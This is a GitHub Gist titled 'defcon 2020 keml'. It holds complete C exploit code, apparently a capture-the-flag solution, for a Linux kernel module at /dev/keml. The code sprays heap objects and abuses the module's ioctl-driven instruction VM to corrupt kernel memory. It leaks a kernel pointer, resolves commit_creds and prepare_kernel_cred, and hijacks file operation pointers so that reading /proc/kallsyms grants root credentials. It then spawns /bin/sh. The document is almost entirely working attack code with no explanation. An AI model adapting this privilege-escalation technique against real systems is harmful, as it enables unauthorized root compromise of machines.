Created
May 18, 2020 00:15
-
-
Save LYoungJoo/4d225668991c6812701b1fcad6e18646 to your computer and use it in GitHub Desktop.
defcon 2020 keml
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <stdio.h> | |
#include <stdlib.h> | |
#include <string.h> | |
#include <sys/types.h> | |
#include <sys/stat.h> | |
#include <fcntl.h> | |
#include <sys/mman.h> | |
#include <stdint.h> | |
#include <sys/ioctl.h> | |
#include <unistd.h> | |
#include <time.h> | |
#define IOCTL1 0xC0086B01 | |
#define IOCTL2 0xC0086B03 | |
#define IOCTL3 0xC0046B05 | |
int __attribute__((regparm(3)))(*commit_creds)(void*); | |
void* __attribute__((regparm(3)))(*prepare_kernel_cred)(void*); | |
void call_binsh(void) | |
{ | |
execl("/bin/sh","sh",NULL); | |
} | |
void payload(void) | |
{ | |
commit_creds(prepare_kernel_cred(0)); | |
} | |
enum Inst { | |
MOV = 0, | |
MOV_R = 1, | |
ADD = 2, | |
ADD_R = 3, | |
SUB = 4, | |
SUB_R = 5, | |
XOR = 6, | |
XOR_R = 7, | |
STR = 8, | |
STR_R = 9, | |
LDR = 10, | |
LDR_R = 11, | |
CMP = 12, | |
CMP_R = 13, | |
JMP = 14, | |
JMP_R = 15, | |
JMP_1 = 16, | |
JMP_2 = 18, | |
JMP_3 = 19, | |
JMP_4 = 20, | |
JMP_5 = 21, | |
PUSH_JMP = 24, | |
PUSH_JMP_R = 25, | |
POP_JMP = 26, | |
NOP = 27, | |
PUSH_R = 28, | |
POP = 29 | |
}; | |
void DumpHex(const void* data, size_t size) { | |
char ascii[17]; | |
size_t i, j; | |
ascii[16] = '\0'; | |
for (i = 0; i < size; ++i) { | |
printf("%02X ", ((unsigned char*)data)[i]); | |
if (((unsigned char*)data)[i] >= ' ' && ((unsigned char*)data)[i] <= '~') { | |
ascii[i % 16] = ((unsigned char*)data)[i]; | |
} else { | |
ascii[i % 16] = '.'; | |
} | |
if ((i+1) % 8 == 0 || i+1 == size) { | |
printf(" "); | |
if ((i+1) % 16 == 0) { | |
printf("| %s \n", ascii); | |
} else if (i+1 == size) { | |
ascii[(i+1) % 16] = '\0'; | |
if ((i+1) % 16 <= 8) { | |
printf(" "); | |
} | |
for (j = (i+1) % 16; j < 16; ++j) { | |
printf(" "); | |
} | |
printf("| %s \n", ascii); | |
} | |
} | |
} | |
} | |
struct Data1 { | |
int64_t len1; | |
void *buf1; | |
int64_t len2; | |
void *buf2; | |
}; | |
int fd[100]; | |
int fd2[100]; | |
int id[100]; | |
int tfd, tid; | |
int cnt = 0; | |
uint32_t make_inst(enum Inst inst, uint32_t value1, uint32_t value2) { | |
cnt++; | |
return (value2 << 16) | (value1 << 8) | inst; | |
} | |
int vmrun(int _fd, int len1, void *buf1, int len2, void *buf2) { | |
struct Data1 data; | |
int res; | |
printf("run inst : %x\n", len1); | |
data.len1 = len1; | |
data.buf1 = buf1; | |
data.len2 = len2; | |
data.buf2 = buf2; | |
if (ioctl(_fd, IOCTL2, &data) != 0) { | |
perror("ioctl"); | |
} | |
return res; | |
} | |
void delete(int _fd, int id) { | |
if (ioctl(_fd, IOCTL3, id) != 0) { | |
perror("ioctl"); | |
} | |
} | |
int create(int _fd, int len) { | |
int32_t a[2]; | |
a[0] = len; | |
a[1] = 0; | |
if (ioctl(_fd, IOCTL1, a) != 0) { | |
perror("ioctl"); | |
} | |
return a[1]; | |
} | |
int open_dev() { | |
int res; | |
if ((res = open("/dev/keml", O_RDWR)) < 0) { | |
perror("fd open"); | |
} | |
return res; | |
} | |
int open_kall() { | |
int res; | |
if ((res = open("/proc/kallsyms", O_RDONLY)) < 0) { | |
perror("fd open"); | |
} | |
return res; | |
} | |
void spray() { | |
fd[0] = open_dev(); | |
for (int i = 0; i < 0x80; i++) { | |
id[i] = create(fd[0], 0x1); | |
printf("id : %d\n", id[i]); | |
} | |
sleep(1); | |
for (int i = 0x0; i < 0x80; i++) { | |
delete(fd[0], id[i]); | |
} | |
sleep(1); | |
//close(fd[0]); | |
} | |
int main () { | |
void *buf1, *buf2; | |
uint32_t *ptr; | |
uint64_t *ptr2; | |
void *page; | |
char ops[0x100]; | |
char tmp[10]; | |
buf1 = calloc(1, 0x10000); | |
buf2 = calloc(1, 0x10000); | |
spray(); | |
fd[1] = open_dev(); | |
tid = create(fd[1], 0x1); | |
ptr = (uint32_t *)buf1; | |
*ptr++ = make_inst(MOV, 0, 0x1111); | |
for ( int i = 0; i < (0x1000/2); i++ ) { | |
*ptr++ = make_inst(PUSH_R, 0, 0x0); | |
} | |
*ptr++ = make_inst(MOV, 0, 0x0100); | |
*ptr++ = make_inst(PUSH_R, 0, 0x0); | |
*ptr++ = make_inst(MOV, 0, 0x0000); | |
*ptr++ = make_inst(PUSH_R, 0, 0x0); | |
*ptr++ = make_inst(MOV, 0, 0x0300); | |
*ptr++ = make_inst(PUSH_R, 0, 0x0); | |
*ptr++ = make_inst(MOV, 0, 0x0000); | |
*ptr++ = make_inst(PUSH_R, 0, 0x0); | |
*ptr++ = make_inst(PUSH_R, 0, 0x0); | |
*ptr++ = make_inst(PUSH_R, 0, 0x0); | |
*ptr++ = make_inst(PUSH_R, 0, 0x0); | |
*ptr++ = make_inst(PUSH_R, 0, 0x0); | |
*ptr++ = make_inst(MOV, 0, 0x00c0); // overwrite idr list | |
*ptr++ = make_inst(PUSH_R, 0, 0x0); | |
ptr = (uint32_t *)buf2; | |
*ptr = tid; | |
vmrun(fd[1], cnt, buf1, 0x1, buf2); | |
sleep(2); | |
id[0] = create(fd[0], 0x1); // alloc 0x1000 | |
printf("id : %d\n", id[0]); | |
vmrun(fd[1], cnt, buf1, 0x1, buf2); | |
if ((page = mmap(NULL, 0x1000, PROT_READ, 1 , fd[0], 0x2<<12)) > 0) { | |
perror("mmap"); | |
} | |
for (int i = 0; i < 0x100; i++) { | |
fd2[i] = open_kall(); | |
} | |
sleep(1); | |
DumpHex(page, 0x1000); | |
ptr2 = (uint64_t *)page; | |
uint64_t kernel = 0x0; | |
uint64_t idx = 0; | |
for (int i = 0; i < (0x1000/8); i++) { | |
if ((ptr2[i] & 0xffff) == 0xe4a0) { | |
kernel = ptr2[i]; | |
idx = i; | |
} | |
} | |
commit_creds = kernel - 0xc0e4a0 + 0x8a480; | |
prepare_kernel_cred = kernel - 0xc0e4a0 + 0x8a750; | |
printf("kernel : %lx\n", kernel); | |
printf("kernel : %p\n", commit_creds); | |
printf("kernel : %p\n", prepare_kernel_cred); | |
getchar(); | |
ptr2 = (uint64_t *)&ops; | |
*ptr2++ = (uint64_t)&payload; | |
*ptr2++ = (uint64_t)&payload; | |
*ptr2++ = (uint64_t)&payload; | |
*ptr2++ = (uint64_t)&payload; | |
uint64_t value = (uint64_t)&ops; | |
printf("target : %lx\n", value); | |
printf("target : %lx\n", &payload); | |
cnt = 0; | |
ptr = (uint32_t *)buf1; | |
for (int i = 0; i < 0x8; i++) { | |
*ptr++ = make_inst(MOV, 0, (value & 0xff) << 8); | |
*ptr++ = make_inst(STR, 0, (((idx * 8) + i) << 8)); | |
value = value >> 8; | |
} | |
ptr = (uint32_t *)buf2; | |
*ptr = id[0]; | |
vmrun(fd[1], cnt, buf1, 0x1, buf2); | |
getchar(); | |
for (int i = 0; i < 0x100; i++) { | |
read(fd2[i], tmp, 1); | |
close(fd2[i]); | |
} | |
call_binsh(); | |
return 1; | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment